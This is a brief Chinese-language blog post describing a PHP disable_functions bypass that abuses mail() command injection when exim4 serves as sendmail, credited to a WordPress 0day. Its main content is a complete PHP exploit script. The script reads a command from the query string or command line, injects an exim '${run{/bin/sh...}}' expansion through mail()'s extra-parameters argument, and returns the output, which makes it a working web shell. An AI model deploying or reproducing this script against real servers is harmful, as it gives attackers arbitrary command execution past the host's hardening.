Yet Another PHP disable_functions Bypass
Dawid Golunski 放出了 Wordpress 的 0day,虽然难用,但是里面利用 mail 的姿势非常有趣。
水一篇文好了,其实思路很简单,就是利用 mail 的命令注入来绕过 disable_functions 执行命令。
条件限制:
- sendmail 为 exim4
Exploit
<?php
$command_file = "/tmp/cmdMhhaJ8aM";
$output_file = "/tmp/outputMhhaJ8aM";
$cmd = $argv[1] ? $argv[1] : $_GET['cmd'];
$cmd = "$cmd > $output_file";
file_put_contents($command_file, $cmd);
mail("root@localhost", "aaa", "bbb", null,
'-fwordpress@xenial(tmp1 -be ${run{/bin/sh${substr{10}{1}{$tod_log}}'.$command_file.'}} tmp2)');
echo file_get_contents($output_file);
unlink($output_file);
unlink($command_file);